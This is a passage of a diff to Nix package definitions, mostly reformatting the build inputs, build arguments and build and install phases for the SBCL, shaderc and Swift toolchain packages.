+  ++ optional (useLLVM && !withBundledLLVM && !stdenv.targetPlatform.isFreeBSD) [
+    llvmPackages.libunwind
+    # Hack which is used upstream https://github.com/gentoo/gentoo/blob/master/dev-lang/rust/rust-1.78.0.ebuild#L284
+    (runCommandLocal "libunwind-libgcc" { } ''
+      mkdir -p $out/lib
+      ln -s ${llvmPackages.libunwind}/lib/libunwind.so $out/lib/libgcc_s.so
+      ln -s ${llvmPackages.libunwind}/lib/libunwind.so $out/lib/libgcc_s.so.1
+    '')
+  ];
 
   outputs = [
     "out"
@@ -436,7 +435,8 @@ stdenv.mkDerivation (finalAttrs: {
     inherit (rustc) tier1TargetPlatforms targetPlatforms badTargetPlatforms;
     tests = {
       inherit fd ripgrep wezterm;
-    } // lib.optionalAttrs stdenv.hostPlatform.isLinux { inherit firefox thunderbird; };
+    }
+    // lib.optionalAttrs stdenv.hostPlatform.isLinux { inherit firefox thunderbird; };
   };
 
   meta = with lib; {
diff --git a/pkgs/development/compilers/sbcl/default.nix b/pkgs/development/compilers/sbcl/default.nix
index 26ff6f45891d..37f8f84df028 100644
--- a/pkgs/development/compilers/sbcl/default.nix
+++ b/pkgs/development/compilers/sbcl/default.nix
@@ -91,22 +91,21 @@ stdenv.mkDerivation (self: {
     inherit (versionMap.${version}) sha256;
   };
 
-  nativeBuildInputs =
+  nativeBuildInputs = [
+    texinfo
+  ]
+  ++ lib.optionals self.doCheck (
     [
-      texinfo
+      which
+      writableTmpDirAsHomeHook
     ]
-    ++ lib.optionals self.doCheck (
-      [
-        which
-        writableTmpDirAsHomeHook
-      ]
-      ++ lib.optionals (builtins.elem stdenv.system strace.meta.platforms) [
-        strace
-      ]
-      ++ lib.optionals (lib.versionOlder "2.4.10" self.version) [
-        ps
-      ]
-    );
+    ++ lib.optionals (builtins.elem stdenv.system strace.meta.platforms) [
+      strace
+    ]
+    ++ lib.optionals (lib.versionOlder "2.4.10" self.version) [
+      ps
+    ]
+  );
   buildInputs = lib.optionals self.coreCompression (
     # Declare at the point of actual use in case the caller wants to override
     # buildInputs to sidestep this.
@@ -223,16 +222,15 @@ stdenv.mkDerivation (self: {
       "compact-instance-header"
     ];
 
-  buildArgs =
-    [
-      "--prefix=$out"
-      "--xc-host=${lib.escapeShellArg bootstrapLisp'}"
-    ]
-    ++ builtins.map (x: "--with-${x}") self.enableFeatures
-    ++ builtins.map (x: "--without-${x}") self.disableFeatures
-    ++ lib.optionals (stdenv.hostPlatform.system == "aarch64-darwin") [
-      "--arch=arm64"
-    ];
+  buildArgs = [
+    "--prefix=$out"
+    "--xc-host=${lib.escapeShellArg bootstrapLisp'}"
+  ]
+  ++ builtins.map (x: "--with-${x}") self.enableFeatures
+  ++ builtins.map (x: "--without-${x}") self.disableFeatures
+  ++ lib.optionals (stdenv.hostPlatform.system == "aarch64-darwin") [
+    "--arch=arm64"
+  ];
 
   # Fails to find `O_LARGEFILE` otherwise.
   env.NIX_CFLAGS_COMPILE = "-D_GNU_SOURCE";
@@ -262,25 +260,24 @@ stdenv.mkDerivation (self: {
     runHook postCheck
   '';
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      sh install.sh
+    sh install.sh
 
-    ''
-    + lib.optionalString (!self.purgeNixReferences) ''
-      cp -r src $out/lib/sbcl
-      cp -r contrib $out/lib/sbcl
-      cat >$out/lib/sbcl/sbclrc <<EOF
-       (setf (logical-pathname-translations "SYS")
-         '(("SYS:SRC;**;*.*.*" #P"$out/lib/sbcl/src/**/*.*")
-           ("SYS:CONTRIB;**;*.*.*" #P"$out/lib/sbcl/contrib/**/*.*")))
-      EOF
-    ''
-    + ''
-      runHook postInstall
-    '';
+  ''
+  + lib.optionalString (!self.purgeNixReferences) ''
+    cp -r src $out/lib/sbcl
+    cp -r contrib $out/lib/sbcl
+    cat >$out/lib/sbcl/sbclrc <<EOF
+     (setf (logical-pathname-translations "SYS")
+       '(("SYS:SRC;**;*.*.*" #P"$out/lib/sbcl/src/**/*.*")
+         ("SYS:CONTRIB;**;*.*.*" #P"$out/lib/sbcl/contrib/**/*.*")))
+    EOF
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   setupHook = lib.optional self.purgeNixReferences (
     writeText "setupHook.sh" ''
diff --git a/pkgs/development/compilers/shaderc/default.nix b/pkgs/development/compilers/shaderc/default.nix
index cbbb42b62cfc..9e686fa8fd51 100644
--- a/pkgs/development/compilers/shaderc/default.nix
+++ b/pkgs/development/compilers/shaderc/default.nix
@@ -58,15 +58,14 @@ stdenv.mkDerivation rec {
     patchShebangs --build utils/
   '';
 
-  nativeBuildInputs =
-    [
-      cmake
-      python3
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ cctools ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-      autoSignDarwinBinariesHook
-    ];
+  nativeBuildInputs = [
+    cmake
+    python3
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ cctools ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+    autoSignDarwinBinariesHook
+  ];
 
   postInstall = ''
     moveToOutput "lib/*.a" $static
diff --git a/pkgs/development/compilers/swift/compiler/default.nix b/pkgs/development/compilers/swift/compiler/default.nix
index fb7e4964eb86..ec99f44a53d3 100644
--- a/pkgs/development/compilers/swift/compiler/default.nix
+++ b/pkgs/development/compilers/swift/compiler/default.nix
@@ -216,39 +216,37 @@ stdenv.mkDerivation {
     "man"
   ];
 
-  nativeBuildInputs =
-    [
-      cmake
-      git
-      ninja
-      perl # pod2man
-      pkg-config
-      python3
-      makeWrapper
-      makeClangWrapper
-      makeSwiftcWrapper
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      xcbuild
-      sigtool # codesign
-      DarwinTools # sw_vers
-      fixDarwinDylibNames
-      cctools.libtool
-    ];
+  nativeBuildInputs = [
+    cmake
+    git
+    ninja
+    perl # pod2man
+    pkg-config
+    python3
+    makeWrapper
+    makeClangWrapper
+    makeSwiftcWrapper
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    xcbuild
+    sigtool # codesign
+    DarwinTools # sw_vers
+    fixDarwinDylibNames
+    cctools.libtool
+  ];
 
-  buildInputs =
-    [
-      # For lldb
-      python3
-      swig
-      libxml2
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libuuid
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      apple-sdk_swift
-    ];
+  buildInputs = [
+    # For lldb
+    python3
+    swig
+    libxml2
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libuuid
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    apple-sdk_swift
+  ];
 
   # Will effectively be `buildInputs` when swift is put in `nativeBuildInputs`.
   depsTargetTargetPropagated = lib.optionals stdenv.targetPlatform.isDarwin [
@@ -452,194 +450,193 @@ stdenv.mkDerivation {
   #
   #   git diff swift-5.6.3-RELEASE..swift-5.7-RELEASE -- utils/build*
   #
-  buildPhase =
-    ''
-      # Helper to build a subdirectory.
-      #
-      # Always reset cmakeFlags before calling this. The cmakeConfigurePhase
-      # amends flags and would otherwise keep expanding it.
-      function buildProject() {
-        mkdir -p $SWIFT_BUILD_ROOT/$1
-        cd $SWIFT_BUILD_ROOT/$1
+  buildPhase = ''
+    # Helper to build a subdirectory.
+    #
+    # Always reset cmakeFlags before calling this. The cmakeConfigurePhase
+    # amends flags and would otherwise keep expanding it.
+    function buildProject() {
+      mkdir -p $SWIFT_BUILD_ROOT/$1
+      cd $SWIFT_BUILD_ROOT/$1
 
-        cmakeDir=$SWIFT_SOURCE_ROOT/''${2-$1}
-        cmakeConfigurePhase
+      cmakeDir=$SWIFT_SOURCE_ROOT/''${2-$1}
+      cmakeConfigurePhase
 
-        ninjaBuildPhase
-      }
+      ninjaBuildPhase
+    }
 
-      cmakeFlags="-GNinja"
-      buildProject swift-cmark
+    cmakeFlags="-GNinja"
+    buildProject swift-cmark
 
-      # Some notes:
-      # - The Swift build just needs Clang.
-      # - We can further reduce targets to just our targetPlatform.
-      cmakeFlags="
-        -GNinja
-        -DLLVM_ENABLE_PROJECTS=clang
-        -DLLVM_TARGETS_TO_BUILD=${
-          {
-            "x86_64" = "X86";
-            "aarch64" = "AArch64";
-          }
-          .${targetPlatform.parsed.cpu.name}
+    # Some notes:
+    # - The Swift build just needs Clang.
+    # - We can further reduce targets to just our targetPlatform.
+    cmakeFlags="
+      -GNinja
+      -DLLVM_ENABLE_PROJECTS=clang
+      -DLLVM_TARGETS_TO_BUILD=${
+        {
+          "x86_64" = "X86";
+          "aarch64" = "AArch64";
         }
-      "
-      buildProject llvm llvm-project/llvm
+        .${targetPlatform.parsed.cpu.name}
+      }
+    "
+    buildProject llvm llvm-project/llvm
 
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # Add appleSwiftCore to the search paths. Adding the whole SDK results in build failures.
-      OLD_NIX_SWIFTFLAGS_COMPILE="$NIX_SWIFTFLAGS_COMPILE"
-      OLD_NIX_LDFLAGS="$NIX_LDFLAGS"
-      export NIX_SWIFTFLAGS_COMPILE=" -I ${appleSwiftCore}/lib/swift"
-      export NIX_LDFLAGS+=" -L ${appleSwiftCore}/lib/swift"
-    ''
-    + ''
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # Add appleSwiftCore to the search paths. Adding the whole SDK results in build failures.
+    OLD_NIX_SWIFTFLAGS_COMPILE="$NIX_SWIFTFLAGS_COMPILE"
+    OLD_NIX_LDFLAGS="$NIX_LDFLAGS"
+    export NIX_SWIFTFLAGS_COMPILE=" -I ${appleSwiftCore}/lib/swift"
+    export NIX_LDFLAGS+=" -L ${appleSwiftCore}/lib/swift"
+  ''
+  + ''
 
-      # Some notes:
-      # - BOOTSTRAPPING_MODE defaults to OFF in CMake, but is enabled in standard
-      #   builds, so we enable it as well. On Darwin, we have to use the system
-      #   Swift libs because of ABI-stability, but this may be trouble if the
-      #   builder is an older macOS.
-      # - Experimental features are OFF by default in CMake, but are enabled in
-      #   official builds, so we do the same. (Concurrency is also required in
-      #   the stdlib. StringProcessing is often implicitely imported, causing
-      #   lots of warnings if missing.)
-      # - SWIFT_STDLIB_ENABLE_OBJC_INTEROP is set explicitely because its check
-      #   is buggy. (Uses SWIFT_HOST_VARIANT_SDK before initialized.)
-      #   Fixed in: https://github.com/apple/swift/commit/84083afef1de5931904d5c815d53856cdb3fb232
-      cmakeFlags="
-        -GNinja
-        -DBOOTSTRAPPING_MODE=BOOTSTRAPPING${lib.optionalString stdenv.hostPlatform.isDarwin "-WITH-HOSTLIBS"}
-        -DSWIFT_ENABLE_EXPERIMENTAL_DIFFERENTIABLE_PROGRAMMING=ON
-        -DSWIFT_ENABLE_EXPERIMENTAL_CONCURRENCY=ON
-        -DSWIFT_ENABLE_EXPERIMENTAL_DISTRIBUTED=ON
-        -DSWIFT_ENABLE_EXPERIMENTAL_STRING_PROCESSING=ON
-        -DLLVM_DIR=$SWIFT_BUILD_ROOT/llvm/lib/cmake/llvm
-        -DClang_DIR=$SWIFT_BUILD_ROOT/llvm/lib/cmake/clang
-        -DSWIFT_PATH_TO_CMARK_SOURCE=$SWIFT_SOURCE_ROOT/swift-cmark
-        -DSWIFT_PATH_TO_CMARK_BUILD=$SWIFT_BUILD_ROOT/swift-cmark
-        -DSWIFT_PATH_TO_LIBDISPATCH_SOURCE=$SWIFT_SOURCE_ROOT/swift-corelibs-libdispatch
-        -DSWIFT_PATH_TO_SWIFT_SYNTAX_SOURCE=$SWIFT_SOURCE_ROOT/swift-syntax
-        -DSWIFT_PATH_TO_STRING_PROCESSING_SOURCE=$SWIFT_SOURCE_ROOT/swift-experimental-string-processing
-        -DSWIFT_INSTALL_COMPONENTS=${lib.concatStringsSep ";" swiftInstallComponents}
-        -DSWIFT_STDLIB_ENABLE_OBJC_INTEROP=${if stdenv.hostPlatform.isDarwin then "ON" else "OFF"}
-        -DSWIFT_DARWIN_DEPLOYMENT_VERSION_OSX=${deploymentVersion}
-      "
-      buildProject swift
+    # Some notes:
+    # - BOOTSTRAPPING_MODE defaults to OFF in CMake, but is enabled in standard
+    #   builds, so we enable it as well. On Darwin, we have to use the system
+    #   Swift libs because of ABI-stability, but this may be trouble if the
+    #   builder is an older macOS.
+    # - Experimental features are OFF by default in CMake, but are enabled in
+    #   official builds, so we do the same. (Concurrency is also required in
+    #   the stdlib. StringProcessing is often implicitely imported, causing
+    #   lots of warnings if missing.)
+    # - SWIFT_STDLIB_ENABLE_OBJC_INTEROP is set explicitely because its check
+    #   is buggy. (Uses SWIFT_HOST_VARIANT_SDK before initialized.)
+    #   Fixed in: https://github.com/apple/swift/commit/84083afef1de5931904d5c815d53856cdb3fb232
+    cmakeFlags="
+      -GNinja
+      -DBOOTSTRAPPING_MODE=BOOTSTRAPPING${lib.optionalString stdenv.hostPlatform.isDarwin "-WITH-HOSTLIBS"}
+      -DSWIFT_ENABLE_EXPERIMENTAL_DIFFERENTIABLE_PROGRAMMING=ON
+      -DSWIFT_ENABLE_EXPERIMENTAL_CONCURRENCY=ON
+      -DSWIFT_ENABLE_EXPERIMENTAL_DISTRIBUTED=ON
+      -DSWIFT_ENABLE_EXPERIMENTAL_STRING_PROCESSING=ON
+      -DLLVM_DIR=$SWIFT_BUILD_ROOT/llvm/lib/cmake/llvm
+      -DClang_DIR=$SWIFT_BUILD_ROOT/llvm/lib/cmake/clang
+      -DSWIFT_PATH_TO_CMARK_SOURCE=$SWIFT_SOURCE_ROOT/swift-cmark
+      -DSWIFT_PATH_TO_CMARK_BUILD=$SWIFT_BUILD_ROOT/swift-cmark
+      -DSWIFT_PATH_TO_LIBDISPATCH_SOURCE=$SWIFT_SOURCE_ROOT/swift-corelibs-libdispatch
+      -DSWIFT_PATH_TO_SWIFT_SYNTAX_SOURCE=$SWIFT_SOURCE_ROOT/swift-syntax
+      -DSWIFT_PATH_TO_STRING_PROCESSING_SOURCE=$SWIFT_SOURCE_ROOT/swift-experimental-string-processing
+      -DSWIFT_INSTALL_COMPONENTS=${lib.concatStringsSep ";" swiftInstallComponents}
+      -DSWIFT_STDLIB_ENABLE_OBJC_INTEROP=${if stdenv.hostPlatform.isDarwin then "ON" else "OFF"}
+      -DSWIFT_DARWIN_DEPLOYMENT_VERSION_OSX=${deploymentVersion}
+    "
+    buildProject swift
 
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # Restore search paths to remove appleSwiftCore.
-      export NIX_SWIFTFLAGS_COMPILE="$OLD_NIX_SWIFTFLAGS_COMPILE"
-      export NIX_LDFLAGS="$OLD_NIX_LDFLAGS"
-    ''
-    + ''
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # Restore search paths to remove appleSwiftCore.
+    export NIX_SWIFTFLAGS_COMPILE="$OLD_NIX_SWIFTFLAGS_COMPILE"
+    export NIX_LDFLAGS="$OLD_NIX_LDFLAGS"
+  ''
+  + ''
 
-      # These are based on flags in `utils/build-script-impl`.
-      #
-      # LLDB_USE_SYSTEM_DEBUGSERVER=ON disables the debugserver build on Darwin,
-      # which requires a special signature.
-      #
-      # CMAKE_BUILD_WITH_INSTALL_NAME_DIR ensures we don't use rpath on Darwin.
-      cmakeFlags="
-        -GNinja
-        -DLLDB_SWIFTC=$SWIFT_BUILD_ROOT/swift/bin/swiftc
-        -DLLDB_SWIFT_LIBS=$SWIFT_BUILD_ROOT/swift/lib/swift
-        -DLLVM_DIR=$SWIFT_BUILD_ROOT/llvm/lib/cmake/llvm
-        -DClang_DIR=$SWIFT_BUILD_ROOT/llvm/lib/cmake/clang
-        -DSwift_DIR=$SWIFT_BUILD_ROOT/swift/lib/cmake/swift
-        -DLLDB_ENABLE_CURSES=ON
-        -DLLDB_ENABLE_LIBEDIT=ON
-        -DLLDB_ENABLE_PYTHON=ON
-        -DLLDB_ENABLE_LZMA=OFF
-        -DLLDB_ENABLE_LUA=OFF
-        -DLLDB_INCLUDE_TESTS=OFF
-        -DCMAKE_BUILD_WITH_INSTALL_NAME_DIR=ON
-        ${lib.optionalString stdenv.hostPlatform.isDarwin ''
-          -DLLDB_USE_SYSTEM_DEBUGSERVER=ON
-        ''}
-        -DLibEdit_INCLUDE_DIRS=${lib.getInclude libedit}/include
-        -DLibEdit_LIBRARIES=${lib.getLib libedit}/lib/libedit${stdenv.hostPlatform.extensions.sharedLibrary}
-        -DCURSES_INCLUDE_DIRS=${lib.getInclude ncurses}/include
-        -DCURSES_LIBRARIES=${lib.getLib ncurses}/lib/libncurses${stdenv.hostPlatform.extensions.sharedLibrary}
-        -DPANEL_LIBRARIES=${lib.getLib ncurses}/lib/libpanel${stdenv.hostPlatform.extensions.sharedLibrary}
-      ";
-      buildProject lldb llvm-project/lldb
-
-      ${lib.optionalString stdenv.targetPlatform.isDarwin ''
-        # Need to do a standalone build of concurrency for Darwin back deployment.
-        # Based on: utils/swift_build_support/swift_build_support/products/backdeployconcurrency.py
-        cmakeFlags="
-          -GNinja
-          -DCMAKE_Swift_COMPILER=$SWIFT_BUILD_ROOT/swift/bin/swiftc
-          -DSWIFT_PATH_TO_SWIFT_SYNTAX_SOURCE=$SWIFT_SOURCE_ROOT/swift-syntax
-
-          -DTOOLCHAIN_DIR=/var/empty
-          -DSWIFT_NATIVE_LLVM_TOOLS_PATH=${stdenv.cc}/bin
-          -DSWIFT_NATIVE_CLANG_TOOLS_PATH=${stdenv.cc}/bin
-          -DSWIFT_NATIVE_SWIFT_TOOLS_PATH=$SWIFT_BUILD_ROOT/swift/bin
-
-          -DCMAKE_CROSSCOMPILING=ON
-
-          -DBUILD_SWIFT_CONCURRENCY_BACK_DEPLOYMENT_LIBRARIES=ON
-          -DSWIFT_INCLUDE_TOOLS=OFF
-          -DSWIFT_BUILD_STDLIB_EXTRA_TOOLCHAIN_CONTENT=OFF
-          -DSWIFT_BUILD_TEST_SUPPORT_MODULES=OFF
-          -DSWIFT_BUILD_STDLIB=OFF
-          -DSWIFT_BUILD_DYNAMIC_STDLIB=OFF
-          -DSWIFT_BUILD_STATIC_STDLIB=OFF
-          -DSWIFT_BUILD_REMOTE_MIRROR=OFF
-          -DSWIFT_BUILD_SDK_OVERLAY=OFF
-          -DSWIFT_BUILD_DYNAMIC_SDK_OVERLAY=OFF
-          -DSWIFT_BUILD_STATIC_SDK_OVERLAY=OFF
-          -DSWIFT_INCLUDE_TESTS=OFF
-          -DSWIFT_BUILD_PERF_TESTSUITE=OFF
-
-          -DSWIFT_HOST_VARIANT_ARCH=${swiftArch}
-          -DBUILD_STANDALONE=ON
-
-          -DSWIFT_INSTALL_COMPONENTS=back-deployment
-
-          -DSWIFT_SDKS=${
-            {
-              "macos" = "OSX";
-              "ios" = "IOS";
-              #IOS_SIMULATOR
-              #TVOS
-              #TVOS_SIMULATOR
-              #WATCHOS
-              #WATCHOS_SIMULATOR
-            }
-            .${targetPlatform.darwinPlatform}
-          }
-
-          -DLLVM_DIR=$SWIFT_BUILD_ROOT/llvm/lib/cmake/llvm
-
-          -DSWIFT_DEST_ROOT=$out
-          -DSWIFT_HOST_VARIANT_SDK=OSX
-
-          -DSWIFT_DARWIN_DEPLOYMENT_VERSION_OSX=${deploymentVersion}
-          -DSWIFT_DARWIN_DEPLOYMENT_VERSION_IOS=13.0
-          -DSWIFT_DARWIN_DEPLOYMENT_VERSION_MACCATALYST=13.0
-          -DSWIFT_DARWIN_DEPLOYMENT_VERSION_TVOS=13.0
-          -DSWIFT_DARWIN_DEPLOYMENT_VERSION_WATCHOS=6.0
-        "
-
-        # This depends on the special Clang build specific to the Swift branch.
-        # We also need to call a specific Ninja target.
-        export CC=$SWIFT_BUILD_ROOT/llvm/bin/clang
-        export CXX=$SWIFT_BUILD_ROOT/llvm/bin/clang++
-        ninjaFlags="back-deployment"
-
-        buildProject swift-concurrency-backdeploy swift
-
-        export CC=$NIX_CC/bin/clang
-        export CXX=$NIX_CC/bin/clang++
-        unset ninjaFlags
+    # These are based on flags in `utils/build-script-impl`.
+    #
+    # LLDB_USE_SYSTEM_DEBUGSERVER=ON disables the debugserver build on Darwin,
+    # which requires a special signature.
+    #
+    # CMAKE_BUILD_WITH_INSTALL_NAME_DIR ensures we don't use rpath on Darwin.
+    cmakeFlags="
+      -GNinja
+      -DLLDB_SWIFTC=$SWIFT_BUILD_ROOT/swift/bin/swiftc
+      -DLLDB_SWIFT_LIBS=$SWIFT_BUILD_ROOT/swift/lib/swift
+      -DLLVM_DIR=$SWIFT_BUILD_ROOT/llvm/lib/cmake/llvm
+      -DClang_DIR=$SWIFT_BUILD_ROOT/llvm/lib/cmake/clang
+      -DSwift_DIR=$SWIFT_BUILD_ROOT/swift/lib/cmake/swift
+      -DLLDB_ENABLE_CURSES=ON
+      -DLLDB_ENABLE_LIBEDIT=ON
+      -DLLDB_ENABLE_PYTHON=ON
+      -DLLDB_ENABLE_LZMA=OFF
+      -DLLDB_ENABLE_LUA=OFF
+      -DLLDB_INCLUDE_TESTS=OFF
+      -DCMAKE_BUILD_WITH_INSTALL_NAME_DIR=ON
+      ${lib.optionalString stdenv.hostPlatform.isDarwin ''
+        -DLLDB_USE_SYSTEM_DEBUGSERVER=ON
       ''}
-    '';
+      -DLibEdit_INCLUDE_DIRS=${lib.getInclude libedit}/include
+      -DLibEdit_LIBRARIES=${lib.getLib libedit}/lib/libedit${stdenv.hostPlatform.extensions.sharedLibrary}
+      -DCURSES_INCLUDE_DIRS=${lib.getInclude ncurses}/include
+      -DCURSES_LIBRARIES=${lib.getLib ncurses}/lib/libncurses${stdenv.hostPlatform.extensions.sharedLibrary}
+      -DPANEL_LIBRARIES=${lib.getLib ncurses}/lib/libpanel${stdenv.hostPlatform.extensions.sharedLibrary}
+    ";
+    buildProject lldb llvm-project/lldb
+
+    ${lib.optionalString stdenv.targetPlatform.isDarwin ''
+      # Need to do a standalone build of concurrency for Darwin back deployment.
+      # Based on: utils/swift_build_support/swift_build_support/products/backdeployconcurrency.py
+      cmakeFlags="
+        -GNinja
+        -DCMAKE_Swift_COMPILER=$SWIFT_BUILD_ROOT/swift/bin/swiftc
+        -DSWIFT_PATH_TO_SWIFT_SYNTAX_SOURCE=$SWIFT_SOURCE_ROOT/swift-syntax
+
+        -DTOOLCHAIN_DIR=/var/empty
+        -DSWIFT_NATIVE_LLVM_TOOLS_PATH=${stdenv.cc}/bin
+        -DSWIFT_NATIVE_CLANG_TOOLS_PATH=${stdenv.cc}/bin
+        -DSWIFT_NATIVE_SWIFT_TOOLS_PATH=$SWIFT_BUILD_ROOT/swift/bin
+
+        -DCMAKE_CROSSCOMPILING=ON
+
+        -DBUILD_SWIFT_CONCURRENCY_BACK_DEPLOYMENT_LIBRARIES=ON
+        -DSWIFT_INCLUDE_TOOLS=OFF
+        -DSWIFT_BUILD_STDLIB_EXTRA_TOOLCHAIN_CONTENT=OFF
+        -DSWIFT_BUILD_TEST_SUPPORT_MODULES=OFF
+        -DSWIFT_BUILD_STDLIB=OFF
+        -DSWIFT_BUILD_DYNAMIC_STDLIB=OFF
+        -DSWIFT_BUILD_STATIC_STDLIB=OFF
+        -DSWIFT_BUILD_REMOTE_MIRROR=OFF
+        -DSWIFT_BUILD_SDK_OVERLAY=OFF
+        -DSWIFT_BUILD_DYNAMIC_SDK_OVERLAY=OFF
+        -DSWIFT_BUILD_STATIC_SDK_OVERLAY=OFF
+        -DSWIFT_INCLUDE_TESTS=OFF
+        -DSWIFT_BUILD_PERF_TESTSUITE=OFF
+
+        -DSWIFT_HOST_VARIANT_ARCH=${swiftArch}
+        -DBUILD_STANDALONE=ON
+
+        -DSWIFT_INSTALL_COMPONENTS=back-deployment
+
+        -DSWIFT_SDKS=${
+          {
+            "macos" = "OSX";
+            "ios" = "IOS";
+            #IOS_SIMULATOR
+            #TVOS
+            #TVOS_SIMULATOR
+            #WATCHOS
+            #WATCHOS_SIMULATOR
+          }
+          .${targetPlatform.darwinPlatform}
+        }
+
+        -DLLVM_DIR=$SWIFT_BUILD_ROOT/llvm/lib/cmake/llvm
+
+        -DSWIFT_DEST_ROOT=$out
+        -DSWIFT_HOST_VARIANT_SDK=OSX
+
+        -DSWIFT_DARWIN_DEPLOYMENT_VERSION_OSX=${deploymentVersion}
+        -DSWIFT_DARWIN_DEPLOYMENT_VERSION_IOS=13.0
+        -DSWIFT_DARWIN_DEPLOYMENT_VERSION_MACCATALYST=13.0
+        -DSWIFT_DARWIN_DEPLOYMENT_VERSION_TVOS=13.0
+        -DSWIFT_DARWIN_DEPLOYMENT_VERSION_WATCHOS=6.0
+      "
+
+      # This depends on the special Clang build specific to the Swift branch.
+      # We also need to call a specific Ninja target.
+      export CC=$SWIFT_BUILD_ROOT/llvm/bin/clang
+      export CXX=$SWIFT_BUILD_ROOT/llvm/bin/clang++
+      ninjaFlags="back-deployment"
+
+      buildProject swift-concurrency-backdeploy swift
+
+      export CC=$NIX_CC/bin/clang
+      export CXX=$NIX_CC/bin/clang++
+      unset ninjaFlags
+    ''}
+  '';
 
   # TODO: ~50 failing tests on x86_64-linux. Other platforms not checked.
   doCheck = false;
diff --git a/pkgs/development/compilers/swift/libdispatch/default.nix b/pkgs/development/compilers/swift/libdispatch/default.nix
index f025fc9ed112..3760dfb405b9 100644
--- a/pkgs/development/compilers/swift/libdispatch/default.nix
+++ b/pkgs/development/compilers/swift/libdispatch/default.nix
@@ -23,12 +23,13 @@ stdenv.mkDerivation {
     "man"
   ];
 
-  nativeBuildInputs =
-    [ cmake ]
-    ++ lib.optionals useSwift [
-      ninja
-      swift
-    ];
+  nativeBuildInputs = [
+    cmake
+  ]
+  ++ lib.optionals useSwift [
+    ninja
+    swift
+  ];
 
   patches = [ ./disable-swift-overlay.patch ];
 
diff --git a/pkgs/development/compilers/swift/sourcekit-lsp/default.nix b/pkgs/development/compilers/swift/sourcekit-lsp/default.nix
index 11bbf9776560..fff5cd6aaef7 100644
--- a/pkgs/development/compilers/swift/sourcekit-lsp/default.nix
+++ b/pkgs/development/compilers/swift/sourcekit-lsp/default.nix
@@ -40,29 +40,27 @@ stdenv.mkDerivation {
     ncursesInput
   ];
 
-  configurePhase =
-    generated.configure
-    + ''
-      swiftpmMakeMutable indexstore-db
-      patch -p1 -d .build/checkouts/indexstore-db -i ${./patches/indexstore-db-macos-target.patch}
+  configurePhase = generated.configure + ''
+    swiftpmMakeMutable indexstore-db
+    patch -p1 -d .build/checkouts/indexstore-db -i ${./patches/indexstore-db-macos-target.patch}
 
-      swiftpmMakeMutable swift-tools-support-core
-      patch -p1 -d .build/checkouts/swift-tools-support-core -i ${
-        fetchpatch {
-          url = "https://github.com/apple/swift-tools-support-core/commit/990afca47e75cce136d2f59e464577e68a164035.patch";
-          hash = "sha256-PLzWsp+syiUBHhEFS8+WyUcSae5p0Lhk7SSRdNvfouE=";
-          includes = [ "Sources/TSCBasic/FileSystem.swift" ];
-        }
+    swiftpmMakeMutable swift-tools-support-core
+    patch -p1 -d .build/checkouts/swift-tools-support-core -i ${
+      fetchpatch {
+        url = "https://github.com/apple/swift-tools-support-core/commit/990afca47e75cce136d2f59e464577e68a164035.patch";
+        hash = "sha256-PLzWsp+syiUBHhEFS8+WyUcSae5p0Lhk7SSRdNvfouE=";
+        includes = [ "Sources/TSCBasic/FileSystem.swift" ];
       }
+    }
 
-      # This toggles a section specific to Xcode XCTest, which doesn't work on
-      # Darwin, where we also use swift-corelibs-xctest.
-      substituteInPlace Sources/LSPTestSupport/PerfTestCase.swift \
-        --replace '#if os(macOS)' '#if false'
+    # This toggles a section specific to Xcode XCTest, which doesn't work on
+    # Darwin, where we also use swift-corelibs-xctest.
+    substituteInPlace Sources/LSPTestSupport/PerfTestCase.swift \
+      --replace '#if os(macOS)' '#if false'
 
-      # Required to link with swift-corelibs-xctest on Darwin.
-      export SWIFTTSC_MACOS_DEPLOYMENT_TARGET=10.12
-    '';
+    # Required to link with swift-corelibs-xctest on Darwin.
+    export SWIFTTSC_MACOS_DEPLOYMENT_TARGET=10.12
+  '';
 
   # TODO: BuildServerBuildSystemTests fails
   #doCheck = true;
diff --git a/pkgs/development/compilers/swift/swift-driver/default.nix b/pkgs/development/compilers/swift/swift-driver/default.nix
index 3deca3351686..d84d5be2ca74 100644
--- a/pkgs/development/compilers/swift/swift-driver/default.nix
+++ b/pkgs/development/compilers/swift/swift-driver/default.nix
@@ -55,18 +55,16 @@ stdenv.mkDerivation {
     })
   ];
 
-  configurePhase =
-    generated.configure
-    + ''
-      swiftpmMakeMutable swift-tools-support-core
-      patch -p1 -d .build/checkouts/swift-tools-support-core -i ${
-        fetchpatch {
-          url = "https://github.com/apple/swift-tools-support-core/commit/990afca47e75cce136d2f59e464577e68a164035.patch";
-          hash = "sha256-PLzWsp+syiUBHhEFS8+WyUcSae5p0Lhk7SSRdNvfouE=";
-          includes = [ "Sources/TSCBasic/FileSystem.swift" ];
-        }
+  configurePhase = generated.configure + ''
+    swiftpmMakeMutable swift-tools-support-core
+    patch -p1 -d .build/checkouts/swift-tools-support-core -i ${
+      fetchpatch {
+        url = "https://github.com/apple/swift-tools-support-core/commit/990afca47e75cce136d2f59e464577e68a164035.patch";
+        hash = "sha256-PLzWsp+syiUBHhEFS8+WyUcSae5p0Lhk7SSRdNvfouE=";
+        includes = [ "Sources/TSCBasic/FileSystem.swift" ];
       }
-    '';
+    }
+  '';
 
   # TODO: Tests depend on indexstore-db being provided by an existing Swift
   # toolchain. (ie. looks for `../lib/libIndexStore.so` relative to swiftc.
diff --git a/pkgs/development/compilers/swift/swift-format/default.nix b/pkgs/development/compilers/swift/swift-format/default.nix
